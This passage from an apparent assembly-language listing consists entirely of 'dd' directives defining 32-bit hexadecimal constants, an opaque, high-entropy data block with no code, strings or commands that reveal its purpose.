472EDE06h, 178BCACBh, 803CD24Dh, 0F372137Bh dd 0D4A75C87h, 47D36083h, 0BD220A88h, 0AF1A9A13h, 7AC05040h dd 0E83F4B1Dh, 88F90B1Eh, 80C4F674h, 0C4EED400h, 199E9159h dd 4BB14820h, 0FE656000h, 0CAFA6A17h, 0DB01309Ch, 64A837C9h dd 26485F2Eh, 0ED45095Ch, 96471403h, 2A4C2801h, 0AA87BE1Eh dd 0BCA27041h, 0FF0071BAh, 452365AEh, 0E370A406h, 40A2A82Eh dd 5C449740h, 0F7C31816h, 15B4603Ch, 551F74A0h, 0CE2FA528h dd 2CEBF82Ah, 0C9820100h, 0F2BFD1C5h, 7CCDB0FCh, 6A9030D8h dd 48FF5CC0h, 0DB4F5D17h, 0B6E4FC00h, 14BFEA44h, 0CCEFB13Ch dd 7214334Ah, 4D4E5EE0h, 129C8407h, 0EAA40CC0h, 201E8E2h dd 460BFC2Ch, 31B4611Fh, 3152F4D0h, 0A3FEB51Eh, 0F35D91C5h dd 33558CCh, 217CDEA5h, 42E88053h, 0D517BB74h, 74D27328h dd 0FC30805Ah, 174B708h, 0BF8DC553h, 38141A31h, 63B38098h dd 0AEF251h, 0F3CBB5A8h, 882DEE30h, 4CAFB700h, 6310FDBBh dd 3DA64480h, 14F2321Fh, 53809CE9h, 59C2F03h, 6F3C00A7h dd 93AB7DB1h, 582F25ECh, 373405FAh, 73F2CE3h, 51D5A780h dd 0B1E32B76h, 0BC8C5013h, 0F5AA0C21h, 12004816h, 4E7021FCh dd 15C7BBDh, 0D3E7DE2Fh, 0EB461561h, 0DA093200h, 6A5D0A43h dd 92C09C6Fh, 87B0E223h, 550DFD3h, 0F9C5DC9h, 0D43FBF32h dd 0A18C5B66h, 20CD7800h, 8091496Dh, 69F505F4h, 0A20CA853h dd 94B70458h, 6CB8DD32h, 0A3A2660Ah, 65058088h, 44AF1E6Eh dd 0F78F0404h, 1480113Ah, 1C5FE289h, 672CD323h, 413CC4A2h dd 2E403048h, 10C0C8B8h, 935D47D2h, 0EFCD3A1Bh, 6CE2180Bh dd 0C0BE8844h, 4C4C8169h, 0C0301628h, 2B573A06h, 0CAA87226h dd 30BA13B0h, 84C1ECA8h, 38489B00h, 0C063D30Ch, 0B040B32h dd 38906252h, 6C17395Ch, 2B02BE2Bh, 98F817D8h, 7E2E4h dd 0C3A077D9h, 0B5899556h, 9B263600h, 3FC006A6h, 0DAEF00D0h dd 832A747h, 703028F2h, 4FEAF99Fh, 53301448h, 0C2023863h dd 71B61546h, 0DC00E846h, 76093FFEh, 0B0379D0Bh, 48871268h dd 0E94C0822h, 8A5B6484h, 86D6C90h, 0B5F13EACh, 0AEE21600h dd 34EFD238h, 52673201h, 0A963A5E0h, 0ED84213Ah, 1838F8h dd 9DF51A6Bh, 62E79193h, 3E4B085Fh, 690CE082h, 85B0CC6h dd 65C0185Eh, 9BD1918Ch, 0B0451F21h, 8394E9A6h, 0AE7231CAh dd 0DCBE5DA0h, 0AF09BD00h, 6EEC9166h, 86572ECCh, 6C784050h dd 0FA003CDEh, 0AF460A92h, 37415A5h, 238FF2D2h, 0F780EC9Bh dd 67002CA7h, 49EB5140h, 2C42288h, 2D3DFF30h, 0DCC41487h dd 0E41DAA03h, 0D032FEE0h, 176C19D7h, 0E37C91h, 3CF10815h dd 824B28F0h, 0D47BE023h, 55CA9B40h, 0DD00942Fh, 7E83DB9Fh dd 9E9386Fh, 4108A8EAh, 80BB5804h, 237B9D38h, 75A423F5h dd 487CCA1Ch, 967FC580h, 86B5E6h, 0A7B87F9h, 0E0B3DA4Fh dd 0D900DCA6h, 0DDFD3CD6h, 47459Bh, 0C18F86C5h, 242F17E3h dd 511030F7h, 0B7B1DB01h, 0B8AFCB50h, 0EA1ACC40h, 0B4FD0B64h dd 3802BDE0h, 0AC84FCC8h, 0C4AD4148h, 36D4E299h, 5EEA0034h dd 0D7EC3ED5h, 611F4CABh, 3830F723h, 9E5344h, 842DAF8h dd 2B94B4F9h, 6C42735Bh, 64AB8062h, 3BF81B88h, 0D6C7987Fh dd 8300192Ch, 511ABC8Eh, 0A528D8h, 22B0F4F9h, 0F1DC6057h dd 41DF8A30h, 12BC5EE6h, 0BFFA7CE4h, 5EF62F09h, 6D043D34h dd 0E2B0DE51h, 7FF10598h, 2FC0DDD3h, 991B4Ch, 5DC0BE0Ch dd 0B37CF9CDh, 0E4A83925h, 40370180h, 0E7B0AEA9h, 2C60D228h dd 84ECF6F5h, 0C4329300h, 9CC66239h, 41501D21h, 8773029Dh dd 0FC765E2Bh, 106F6389h, 0FE1941D0h, 7237E688h, 67B71ACBh dd 0B064D0EFh, 4FD0E48h, 1D8C2564h, 51211082h, 0BB1380A0h dd 58C8A2CCh, 0C0A4525Ch, 0DC5D89B5h, 32BF120Ah, 0CA28092Ah dd 30004079h, 0E68726EDh, 0ADD40F93h, 4B839DF6h, 6998B3D9h dd 614CCAAAh, 0AF7083FCh, 8751F008h, 8E9809B6h, 0E8C1FAC2h dd 384F2B5Bh, 0D9C01E05h, 1936F133h, 48D2005Ah, 44701FC5h dd 0EF077821h, 38DAB0B2h, 846EFB72h, 98409F8Ch, 3C9A622h dd 68B18025h, 2E65D68h, 82BE7921h, 0A07C0425h, 8F27C04Eh dd 26DCB7h, 32687CEDh, 6D91712h, 2B0444Ch, 421116B9h, 104E2780h dd 0FCD20C34h, 6CE0E600h, 0F953BDE1h, 0C0AC48FEh, 48A21F14h dd 0B4841400h, 36D5C7D0h, 3DCDDE44h, 0B676F82Ah, 0E7574038h dd 103C9B7h, 705D78E2h, 60800721h, 52F91C47h, 5BC1D792h dd 0A5F02091h, 0A9129D09h, 7704109Fh, 0F29C1556h, 3300400Bh dd 0D4238BC3h, 0E8487FEDh, 6C4CD4h, 0C1172E78h, 0A77EE6h dd 27D9F309h, 26319D84h, 5E088917h, 4570D300h, 120AB3BDh dd 1F3B014h, 0E0C819ECh, 862C384Dh, 7CE1C7Bh, 0BFF72CE4h dd 9703C0B3h, 0DC00E3CAh, 6762293Ah, 92F29110h, 5C942EE8h dd 304316C8h, 532F3C34h, 80C93F3Ah, 0DD720B84h, 33903F8h dd 0AD47EACAh, 80041899h, 0EC48DF21h, 9580D8B8h, 9B67F28h dd 0FE865C00h, 0AF68BF1h, 91179F9h, 0A9800D90h, 30F71098h dd 393BDF0Bh, 0CFD002B5h, 5459AEh, 7DE858F6h, 0A0089F36h dd 4DB624Bh, 0C861F85Bh, 57007A28h, 7EF5B23Ch, 64799Bh dd 0E342C26Eh, 9F55A6B8h, 7B081F48h, 87161298h, 8C35CEB0h dd 70F338E4h, 2D34160Ch, 7C0600C3h, 0C0824895h, 0B81C8728h dd 41C1751Eh, 924B3170h, 697300E0h, 0BC087EF8h, 4148EA97h dd 0CADD80E8h, 0B6245B7Ah, 3653093Ch, 0AC1C80E0h, 5C6F2526h dd 1E194A40h, 0A38800F7h, 684BBAAEh, 0F2004D90h, 4816321Fh dd 3DB57A1h, 71FA1C91h, 0FEF841BDh, 3C07227Ah, 0DE879C54h dd 27F7AA23h, 0F4A099D9h, 0A6111EEDh, 0B265291Dh, 2B365CC0h dd 9BACB4h, 380B2D8Fh, 0D9F86640h, 0A9178509h, 28D44903h dd 0F988202Ah, 0D4CA6D9h, 1A39C010h, 3E24ACFh, 0D1060262h dd 8EE04257h, 8F46C82h, 7C074B12h, 0BF0148F2h, 929934A6h dd 6C6306h, 5AC7B04Eh, 46CB67h, 77E39563h, 0C9630CCh, 149BB513h dd 0FFB43C90h, 119D00FAh, 1052BC54h, 0D81F4C62h, 5CC15812h dd 0A4C804E2h, 21807468h, 0A3DD2470h, 81F8B000h, 0DB06A7CCh dd 623F02ADh, 905A8DFDh, 4AE5ECC8h, 0C0AC1580h, 2899AA71h dd 0B800429Bh, 369DE6C9h, 24EED48Ah, 5866E1h, 0FAA555DFh dd 294E9FA8h, 3D9A94DCh, 0D3001CA0h, 379BF5F3h, 20B903A8h dd 0ACC83A00h, 97CB2B73h, 7C978898h, 29875B30h, 33D519h dd 91407353h, 0AC26BFFh, 0DEB460FDh, 4A50408Ah, 0FA0212F2h dd 0D4230131h, 0E0C1ECB6h, 0A09A8E53h, 5207C801h, 0A45AB134h dd 4CE83AE8h, 0B705FCF7h, 0B34130A8h, 68632588h, 4DE4C8h dd 0B29D1D9Ch, 1C145F8Ah, 55204802h, 0C05CAC0Ch, 9A1938Ch dd 72F37AA7h, 20374F9h, 0E853734Dh, 755EACEh, 0D2562B7Dh dd 29DC70A8h, 0FF3D14C2h, 2231638Ah, 0A2DAD82Bh, 0A5840773h dd 0C117C69Eh, 6C723C52h, 0BC018138h, 0F1E8E66Eh, 0C4EC34h dd 0D261025Fh, 51714135h, 0A788E017h, 0D90488h, 10AC2C32h dd 92C7287Bh, 0E828F875h, 8722C04Fh, 21490A5h, 0FD0D1B16h dd 5451B85Ah, 9270BA00h, 0FA97E66h, 0BBB70508h, 0B8F87B29h dd 26623D15h, 297C0098h, 0D2FA0DCAh, 557AE0h, 887AF06Eh dd 0A987F796h, 7141609Eh, 602F5DABh, 0FFB12F18h, 8EEE4B02h dd 60321C58h, 72CBE11h, 0D8EF3E84h, 27C971B8h, 245C6D87h dd 0D1401841h, 264276h, 7CC12E15h, 2BECE2B8h, 0D0C45F4Bh dd 0F95024C7h, 5985F8h, 0EAD429CAh, 5B754197h, 0CEA0C564h dd 63648853h, 81F1B300h, 7B6E69E7h, 0DD073F18h, 6C164E80h dd 9EB4D922h, 1CD1994Ah, 34F49C45h, 76CA07D4h, 122AF9AAh dd 30490675h, 0FE4625Ah, 0E0B99917h, 3782F351h, 0DD811393h dd 0DE2109F2h, 0F0AFD882h, 0BAB88029h, 0EAA8C1EDh, 1B93883Ch dd 92E1A900h, 81D6D929h, 0EC7CE9ACh, 0FD32F0C0h, 9807C7B4h dd 0AD1D380Ah, 0D43977C0h, 12700701h, 0B08D37FAh, 2F27C113h dd 9944F894h, 26AC9220h, 0DB0000B1h, 0AD91378Bh, 604F0B58h dd 0A0509CDAh, 6B68BD07h, 0F3018B47h, 0C8F67B87h, 27E8C8F8h dd 0DCA014CAh, 0F6152E30h, 0B2966700h, 4297A91Dh, 238604D9h dd 0C032DB85h, 55CA9FCCh, 0A766510Eh, 0F3D8BF10h, 0D06E141h dd 7BD4C831h, 0F4D3CDE0h, 652E7AF4h, 4402301Ch, 41188829h dd 0FD212CE6h, 0C6025032h, 43EC245Ch, 61007C71h, 2284753Ah dd 0A40138EBh, 117B4F0Fh, 39865B86h, 51007174h, 5452486Dh dd 1244F5FCh, 336FD653h, 30BFA3FCh, 1DE01AA7h, 0A522E600h dd 0C8AA7B17h, 0DA23019Ah, 752B800Bh, 70206B9Fh, 0B8416917h dd 4879B02Ch, 712778D5h, 0B59778B0h, 0C064EB17h, 0BD0D1604h dd 8C0E6481h, 2D405720h, 1400C5CCh, 3BACA3CBh, 0E4A5E89Eh dd 4ABE0030h, 9BEEF1A6h, 6E078F2Eh, 0B731CFECh, 0DA40D940h dd 4F9001A1h, 87E5C0BCh, 88507CABh, 6C7B6126h, 94334Fh dd 37F939D7h, 0A39D8Ch, 6F7A8E70h, 831A674Ch, 1F96AA0Fh dd 0F82524D9h, 2780B8E8h, 92AF889Ch, 813C673Bh, 2520E06h dd 73609353h, 0BA589663h, 4CE28007h, 8D432208h, 0EC76B862h dd 0EFA5B09h, 4C7A3194h, 0C848ECE9h, 0FC147900h, 99A3FABBh dd 71874CB4h, 62D0E546h, 0BAB10Bh, 0C15D6D34h, 6BA75F6Ah dd 6C52F326h, 0E0307116h, 0FE8660F7h, 64BA2E65h, 6C82C9E4h dd 9320300Ch, 4F9D72CAh, 0A5FC207Eh, 0BE00AA58h, 0A59AE8Ch dd 0F6789541h, 2CC30F6Ah, 8B3A2C5h, 0F8A454C4h, 3400B026h dd 48D239EDh, 0CCB31662h, 4A7C0852h, 402D1280h, 0AC999BDh dd 0F095AC19h, 0F1B20088h, 0A96D217Ah, 108C644Ah, 511B3A78h dd 0B9FE000h, 838067F0h, 2462B73Ah, 1849CCA6h, 689864h dd 8BD3316Dh, 29ED235Fh, 44969A7Eh, 0D7C8F441h, 766130h dd 0CF2C0A06h, 0DC7F7805h, 6441B42Dh, 0F85DF0F0h, 678B0017h dd 58455BE8h, 2A260DF4h, 41428CCBh, 0F1442081h, 5A7F1FB6h dd 74828907h, 2520A036h, 30CC1C21h, 0E2D93361h, 17EE186Fh dd 0F800F4FCh, 0FD34A878h, 0C2CAC185h, 35429E10h, 76538C48h dd 0D1BF940Eh, 509180DAh, 4CDE87C6h, 0E12C504Dh, 0AF1100h dd 49098583h, 1DE04ACAh, 89EF9B38h, 9099CD27h, 989A0898h dd 2B540C80h, 5AD12FCAh, 0D037491h, 0C8E31405h, 157D81Fh dd 32E195DAh, 20B04674h, 91007B6Eh, 0A9B1D9F9h, 235599h dd 9CC8974Ah, 0B2FDCFEFh, 706D7A0Eh, 10F0B3A7h, 39286B4Dh dd 422AC004h, 35A028Ah, 0D7A86B4Ch, 7C023955h, 0D52D8C77h dd 3CFA36h, 19A5AFEFh, 0A76C45Ah, 1698F80Bh, 0D8D1CEh dd 212E719Bh, 0FCE84FE1h, 28ABF600h, 0BD76FA08h, 9D7A0778h dd 0A0F2A80Eh, 0C72C842h, 0EC932202h, 0C4A21C0Fh, 37AD1ED0h dd 28C5839Dh, 76D84983h, 201F623h, 8E278866h, 206B20B5h dd 5D22A6A8h, 6F009D79h, 97C81238h, 77EFA071h, 2F3C002Ch dd 0BF34799Ah, 99E05332h, 9C037A00h, 0E4B2F8C9h, 207BED38h dd 429DF570h, 0D2F75F00h, 0B2FE1C94h, 47391233h, 728E2C1h dd 945C6623h, 0D51260BEh, 3EB061h, 82AAA98Ch, 9771089Eh dd 609C7C2Dh, 0A4A89A8Ch, 0B0D779C4h, 2E9EEE38h, 16926E5Bh dd 4CD4A66Ch, 3CBF1D84h, 3F1F551Dh, 423028B1h, 618F9878h dd 90E4BBE0h, 850A2AB1h, 0C83F4041h, 99155060h, 0E097B872h dd 6AD90ECBh, 6F6BD538h, 0E61804E8h, 51002FE0h, 9D3CFDDDh dd 1D013194h, 401DA779h, 0DF132DEh, 0A690ACCEh, 0F36360A9h dd 95C94127h, 30A800A8h, 983F839h, 0D363A500h, 0C95C6E47h dd 517A9828h, 4C96F0h, 32080072h, 0C0339BDAh, 9060E3B4h dd 5005E136h, 49960016h, 68512173h, 0AB500AA7h, 0EB010998h dd 0FE5EF1Ch, 443C6C01h, 4134510Bh, 0D4722469h, 0AD013F21h dd 0C3BE1331h, 4EF8F96Bh, 50C890A5h, 3071CC4Fh, 771065E0h dd 0BCA0E4A7h, 2B5D76Dh, 525A481Ah, 7CCB1E20h, 917580EDh dd 359D3640h, 66D3F027h, 3BD70ED4h, 0D15C5242h, 831E0319h dd 84B5AF0Ah, 9D571090h, 0E47B26A8h, 99A289D8h, 0C74F2848h dd 7B06F00h, 0B995BDE2h, 0B8CA1EDFh, 32506AFh, 0F8B03EF2h dd 1AC4C5Dh, 0F37FA8D2h, 103D89D9h, 0C2FCDA51h, 6B21009Bh dd 7F73855Ch, 0B5642F2Bh, 0A8C85A69h, 12CD00F2h, 0B9C00AACh dd 5D078633h, 0EBDACBF0h, 0C4A320B5h, 0D15A7A00h, 0ABF5B3BEh dd 0DA11B401h, 530FDE41h, 0B12C2BECh, 64A80910h, 70856C51h dd 80001E01h, 0A897B5B4h, 60210008h, 10133FC0h, 1D0079F8h dd 0A36C4852h, 0C983426Eh, 92007079h, 1C7438Ch, 3420E05Fh dd 7D3D52C1h, 0EB9301E9h, 0F83244D3h, 58402E61h, 12A45BF7h dd 38DE399Dh, 0B83ADF3Eh, 0C2746B8h, 0B1005044h, 94D434BDh dd 0A9AF235h, 62034FADh, 3D541198h, 61BC8B3Ch, 4A8804A3h dd 74845D4Bh, 0C4D54035h, 78273BF7h, 215427E2h, 0E8729084h dd 0A89F2914h, 0E5AAE440h, 9893399Bh, 4C88431h, 0D7EC4007h dd 7F144A85h, 27F80534h, 64A011A9h, 0FECBC0F0h, 649080h dd 870C78C8h, 0EC0E43CAh, 40D64926h, 5411F902h, 60E8DCB7h dd 52C8180Dh, 21A4350Fh, 8009B6E8h, 1C0580E2h, 142C59A7h dd 6C624B84h, 0C047271Fh, 0B11DFCE8h, 0A0C6FE1Fh, 0D4BD49h dd 0DAF68654h, 484D9BB7h, 0F928E312h, 0DEEB6090h, 0C0471762h dd 4898B46Fh, 83CB433Fh, 4ABDC28Bh, 0FDBFE893h, 0A5B7CB4h dd 1FAC4472h, 89DB0B58h, 0DC807CC8h, 742DD13Ch, 80D63E3Eh dd 5D04A6A8h, 0F2E5617h dd 77F98676h, 79DA9801h, 4844CC47h, 29371B04h, 50C0AC23h dd 54CCA3Dh, 66A29419h, 110FC0Ch, 3CAB7E48h, 28E1ED6Ah dd 0AE514040h, 0D37200B3h, 4CD9E11Eh, 0A95A5D99h, 0CCA708C8h dd 98B83010h, 2314DC27h, 982FE5C8h, 7B7FE2A0h, 0A58E009Ah dd 5A4AF2E1h, 1616F674h, 0C50066D5h, 0A6C68B0Ah, 48D4B8CAh dd 42271C91h, 7215C8E0h, 9C8A45Ch, 486F640Bh, 98543Ch dd 96F966E7h, 39A0CF91h, 0DE53B53Dh, 86B42CD8h, 1A0C4312h dd 4E0094A2h, 2EB901ADh, 10B415DEh, 27D0D740h, 25920050h dd 3EF26143h, 21006B9Eh, 0EC0CD4B3h, 1208BC28h, 18B932C0h dd 3CAC5828h, 13E7091h, 15C04BF4h, 3C322C27h, 0A0057EC0h dd 2500887Bh, 0F711F520h, 68807A26h, 24C0A8h, 2C37CE31h dd 64939CA6h, 4084AC26h, 0E0D06932h, 4D80284h, 0A912D9D5h dd 8A1CF498h, 0F800F8B1h, 0D2A71329h, 62650050h, 0F4BE01AFh dd 0A4B845F6h, 0AAF06B00h, 3D543076h, 3CF0B8B6h, 3430F91Ch dd 497AB420h, 65D29205h, 30E414C5h, 52BC3A66h, 90FF8280h dd 8B7428BEh, 0CB58B409h, 88086487h, 25F80EE8h, 0F4E47F32h dd 0B4CB8300h, 0E8A95A0Ch, 2050006Dh, 0DA1F135Ch, 2904AB59h dd 0FA9B580Ah, 11D9CC5h, 4C306C2Dh, 35C17CE0h, 0E8790ECAh dd 0BE00211Eh, 5397B294h, 1C109AEFh, 40AC153Fh, 17D244AAh dd 0CBE2CDFh, 25311901h, 882B3873h, 567FBC10h, 6EF11105h dd 0A21C8461h, 7375CAC2h, 0F50E68Fh, 0E6672AA3h, 0BEF7D61h dd 0C889D0D6h, 268E848h, 0CB35BFB3h, 3C230012h, 2E25159Fh dd 168C68A2h, 898102C1h, 60E4907Ch, 51880E8h, 4D027673h dd 720DCAEAh, 68E667h, 38B0E23h, 8E76C474h, 9E176E04h dd 0B4C1A2DBh, 52003DE7h, 93B5FA97h, 54F1C060h, 0A5A3133Ah dd 0EF542099h, 8605B192h, 2F2A27F2h, 38910C00h, 2EAAE3C4h dd 0E44552h, 0C8C5098Bh, 1137BF8h, 0C00137D2h, 5CCD57E0h dd 1E830478h, 618BAE49h, 0DEBF65E0h, 334F9D00h, 0CC937460h dd 53EC040Fh, 0EC6E0C2Ch, 405F8EFCh, 0C15A8D44h, 1CD7F8D3h dd 0C02D9559h, 7B488817h, 0F84C4330h, 60412A10h, 80C8F200h dd 2A35DB4Ch, 5851F684h, 0DAD0602Ch, 720BF448h, 0C400ED7Fh dd 0F143FCBAh, 59AA8725h, 32B10F9Ch, 0CCD82700h, 81B70BB3h dd 67CF5564h, 0FB2D21C4h, 5F830478h, 7580317Eh, 0E207623Ch dd 8D0FFC2h, 2B67FDA0h, 81AD69CBh, 270078D9h, 64AA7A42h dd 92C101D4h, 6858E002h, 0EC1E6F01h, 40981827h, 0E83A501Fh dd 3F0C88F9h, 0C4EDC827h, 0D15E004Ch, 5C602378h, 38002774h dd 0C67A487Eh, 0A9805519h, 0A0706070h, 729100BDh, 0C875163Fh dd 0C502A7D4h, 383335C0h, 1C38D9FAh, 89803ECFh, 3B395B42h dd 2700975Dh, 8B1BD47Eh, 3D435A84h, 884ADA2Ch, 650997F0h dd 593A0415h, 0AABC00A8h, 0A06AB388h, 0D8D42233h, 7692DA9Ah dd 622426CCh, 4C5CC066h, 0A3A8102Fh, 56D05813h, 2EAF1100h dd 0F521993Bh, 0C80B95FEh, 24B4F99Dh, 18EC6D18h, 24F06F28h dd 2D2DA8h, 179511FDh, 1094B580h, 0FCA4A293h, 2B7900E6h dd 717B9B54h, 872FEFF1h, 0D03C2AB4h, 0C3C17964h, 21C4D10Ch dd 44B4B8F3h, 1F0B0A31h, 94D2C043h, 0B47B0070h, 12C9923Bh dd 66EA767Ah, 3001CF26h, 0B550F167h, 447CA71h, 5C86110Eh dd 48C0EC39h, 36790BF0h, 831C51CEh, 8C0C3A30h, 93CA5806h dd 9303ED6h, 1B9CBC75h, 0E09D0C18h, 0C0E27E4h, 20DCB38Ah dd 0CA8E9275h, 7AED0748h, 0BA8B770h, 2F2850C8h, 12C1BCB4h dd 90D77F35h, 95F99E0Dh, 8FD82010h, 234DC800h, 0AB326BD5h dd 442D006Ah, 5B657BE8h, 0C527C451h, 41104071h, 2713126Dh dd 0A808B487h, 5FA00752h, 2B867C90h, 3562225Ch, 2557B51Eh dd 249C9A41h, 0C02BEBB7h, 82189F98h, 0E660E0FEh, 9271B460h dd 44EA0061h, 85246705h, 0EC04D0D3h, 9DF8541Bh, 9240E8h dd 1561EFFh, 0FF25F7EDh, 7F4D9A8h, 721F1898h, 844C948Ch dd 0AEB59E03h, 0E0CE5C38h, 0F557634h, 2026A02Bh, 2C45E460h dd 0BD4F87DFh, 5E3FC4C8h, 0FDF8C7ADh, 0F621CA80h, 99304A0Bh dd 6F793B22h, 0A14E697h, 408803A0h, 87CC4CA7h, 51BDB030h dd 95EDD2ACh, 0B900C04Eh, 994A7FB5h, 0AA5865h, 0EB664DB6h dd 0AC478283h, 0C9953E1Ch, 0F06A300h, 969FF6h, 0CA123708h dd 0F840D167h, 7460874Ch, 21780F30h, 77FA6115h, 0BA0A00E2h dd 0A5A0763Eh, 1E074BFDh, 15782D8Fh, 9E5308D0h, 8F9608Bh dd 4F1DA196h, 5F164807h, 0CB1070AAh, 347E822h, 0A81EFADFh dd 600093D9h, 0F9DC1953h, 391191h, 2C340C45h, 3F90765Ah dd 0F951F161h, 3183A4E4h, 0E9C19529h, 70B131A1h, 81C80D1Ch dd 0BCC6408Eh, 0B60FC961h, 0A09AABCCh, 40E8AEA1h, 0EC920026h dd 95A2C8FFh, 30C05170h, 33BCE408h, 2E310016h, 0D655635Fh dd 7803443Ch, 0D9A754D8h, 0E0810E7Bh, 77604C68h, 0C4FF272Bh dd 496E2E0Fh, 0B683C019h, 384483Dh, 9E6312AAh, 390091DAh dd 40D5B5C7h, 1EF56D2h, 47E317F0h, 0C0E6C151h, 362A99CBh dd 1CF634A1h, 403420FFh, 379D0600h, 8B2BD268h, 0C6630F8Fh dd 0F98AB8D1h, 4AC106ECh, 0EC84D03Dh, 54D4A800h, 6EA61A4Fh dd 0B78CA007h, 27D13AC4h, 22295D07h, 0CC120033h, 0C7303E47h dd 51CD7988h, 0A470E3h, 7554197h, 7DDA9440h, 0B81021C0h dd 0DEB746h, 0B11A548Ah, 6B069755h, 652C5200h, 60C2F621h dd 67951844h, 7CDA91F7h, 0CA5A41C0h, 3F305AFh, 0D90434FEh dd 76F0F497h, 0C500898Fh, 5107A52Ah, 77B9D09h, 0AD332837h dd 0EAE80C98h, 0B0002978h, 20316A92h, 92D832BFh, 0ACAE200h dd 6EEF823Ah, 759560BCh, 0EE01A27Ah, 0E4F7FD5Ch, 0B2E40F72h dd 50A701A1h, 0FFF82909h, 0D76BC126h, 5100B0D3h, 1EA6AB68h dd 893380h, 0B8065798h, 0AC0FA37Ch, 6C531F05h, 40C0A537h dd 0E81B52h, 9990A8C3h, 721560BEh, 0B4790624h, 0A067B740h dd 0DBDC3FF8h, 6E384200h, 160D773Ah, 0A798220Ch, 7479A3h dd 0CE7E8F26h, 7F0C33B8h, 8D18DD00h, 6E21875Dh, 0D2910746h dd 0E0A0C7BDh, 0A9929BD8h, 0F24C698h, 1C806862h, 0FC45AD42h dd 1E10FE6h, 0A0205561h, 63A7BFCFh, 25907E00h, 7B4F26C7h dd 7348C3A9h, 0B13AF106h, 39C580E6h, 0B6F80DDEh, 16500544h dd 27A7B8C7h, 0DE9570B8h, 0ED0B6757h, 13340EAh, 84F7DFFEh dd 88B30C30h, 0D22AF857h, 1E00C88Ch, 29BF726Fh, 4C0CC43Bh dd 250C3C3Eh, 0DFD82ED3h, 71E0B640h, 284A0164h, 14C9E101h dd 5FFBCC4Fh, 0AA7C9201h, 9CFDF13Ah, 30A50430h, 376189D9h dd 0ED038DAEh, 0FEF85E66h, 93190992h, 10AFEB31h, 0A74E9743h dd 339DE4F0h, 0A844200Eh, 0D75040ECh, 1556E8Ch, 0AEA07D09h dd 33E63391h, 488D2244h, 0D2004028h, 51B4DCD5h, 0C2023E1Ah dd 783BDACh, 47C4A06Ch, 717D4609h, 31C5007Fh, 0ABFF9070h dd 0C200ED49h, 229E793Bh, 0A08BE4F8h, 15332Ch, 583EC1E8h dd 2DB19017h, 45D73Dh, 0FBA7D236h, 72196F8h, 0E9AD9206h dd 8B2705Eh, 0E41F9171h, 0AA00D3B9h, 257E5069h, 965201E5h dd 623294A3h, 0FFC9885Fh, 6C318991h, 0C3E010AEh, 2E48F701h dd 6499E009h, 0C1D4989Dh, 0B28100F9h, 0EAFB7583h, 0BF1EA3C4h dd 0F4AAA722h, 0EE92D400h, 1EF66FA5h, 0C2A6029Dh, 0E78B6B0Eh dd 0A483A0A0h, 0FB1F0DC5h, 0D4019FDEh, 0B1258FC9h, 424CBC40h dd 0C73230A1h, 0C0AD9F51h dd 96074E73h, 92F3B8D2h, 0F8B4C447h, 0A756CCC1h, 2CCCFF0h dd 0AC81127Eh, 10C04137h, 0E07B21C9h, 42D7031Eh, 0C85C7B0Ah dd 0D5CCD381h, 74257F0Fh, 2E618D4h, 404E3644h, 5D60678Fh dd 6317828h, 0EF8E89AFh, 0D647C198h, 0BA008B5Dh, 2BF34425h dd 2B9728Ah, 0FA29772Fh, 98A00778h, 650FE19Eh, 6F0969C0h dd 1D37B8Ah, 6C7956EDh, 0E77E957Fh, 13782112h, 65C5AC27h dd 4C19D453h, 0EC326C10h, 25948101h, 4835C8B8h, 4B01CA94h dd 0A7683CDBh, 81818ADAh, 92A8A32Eh, 0D0B02015h, 9C6AE93Eh dd 390529B1h, 0FC20A702h, 1C0EA0h, 63A915F4h, 78D2A86Fh dd 1301450h, 0EBFC2600h, 0C8E79F1Bh, 88F8548Eh, 0AEFF1C02h dd 31B1C04Ah, 0C58B73A2h, 0A9D34402h, 80065A5Bh, 940B2FB4h dd 95E703FCh, 2DF5170Ch, 0ABE54190h, 87A28100h, 880980D3h dd 18160659h, 80E0A2Fh, 82060B00h, 40854F9Dh, 41230007h dd 0C05AD8Ah, 0A224046Ch, 2900F9D7h, 5CFB6EDDh, 0C7B607B9h dd 80129897h, 0AFF47A5Eh, 852CB260h, 877E5Ah, 9369E1ECh dd 193113B3h, 383568C1h, 0ADDC36CDh, 777F24h, 0A2D4E929h dd 0E1FCBC31h, 13304774h, 17123130h, 514600DBh, 28F7189Dh dd 4F068BE8h, 5F32B7DFh, 6EC00C9h, 0BC1EA542h, 0C5005162h dd 0F7371F81h, 953410h, 0C676ED1Ah, 0DA5A36ABh, 0B99CCB00h dd 3D9642C2h, 70673C94h, 36128F0Dh, 0C9AD079h, 0AEE73C00h dd 169493E3h, 1C7200E5h, 0FBE8B150h, 1F038AA3h, 126A4624h dd 7439002Ch, 3BB132EBh, 6B1E4709h, 0F10C717Ch, 4FA81Ah dd 813FCEA9h, 52E47F76h, 710D4600h, 0C0E8E6F6h, 3830E9BAh dd 2C30C00Bh, 0CC1D94DFh, 61489C00h, 63F4A49Bh, 93AB1856h dd 0E31A700Ch, 38BAB100h, 1250D4CCh, 5826F415h, 16284504h dd 0C1E370F8h, 0B88ADB81h, 5880EAC7h, 0CC967825h, 42052E00h dd 880741FEh, 939A5C03h, 29321318h, 92025275h, 0B2AE05FEh dd 374A601Fh, 7159C0F3h, 2335ADDh, 12B4F800h, 371CB298h dd 0EC21C0FEh, 19CE70D1h, 9C6BFB00h, 9503D084h, 19230E1h dd 0EF3627C9h, 37DABA1Eh, 0B026DFC5h, 7F7C8443h, 7380904Ah dd 0ED3200FDh, 1552741Eh, 178A9E0h, 0B03CF400h, 8119AD58h dd 72E4A697h, 10953A49h, 0FBA5F601h, 0E042BFA4h, 4F02AA9Bh dd 0A7D835FCh, 1C384412h, 9FC6BBFBh, 0B1DF80h, 324C600Ch dd 2C186909h, 9B29BC6Fh, 44AA0021h, 0F78BFA1Bh, 8A03C0AFh dd 57ED9604h, 2DAEA05Dh, 49AD0195h, 6ED4C2F4h, 5981F472h dd 86349B00h, 4BDE87E2h, 7858484Fh, 0EEFDCBC0h, 9D7C8493h dd 79912900h, 46861DE2h, 13CC3B41h, 0E095A200h, 3FFC12F2h dd 0A9A00554h, 83225500h, 0AD46E898h, 0CD410059h, 94F043ACh dd 53053B9Bh, 2CB28091h, 0FC4E5885h, 13415893h, 6D80001h dd 78DBAC26h, 0DA006BD4h, 994B180Ch, 3DC5236h, 2C3BAD02h dd 0B17FBF6Ah, 9EDD8302h, 0A064203Ch, 0DE0744D8h, 0EE023A13h dd 0AD51F8Ch, 9700AA18h, 49F98AF3h, 1133B3Eh, 8FAEADECh dd 4821A6CFh, 0EA0E41F8h, 0A036CE58h, 0C9507FFAh, 94603D2Eh dd 7B536A00h, 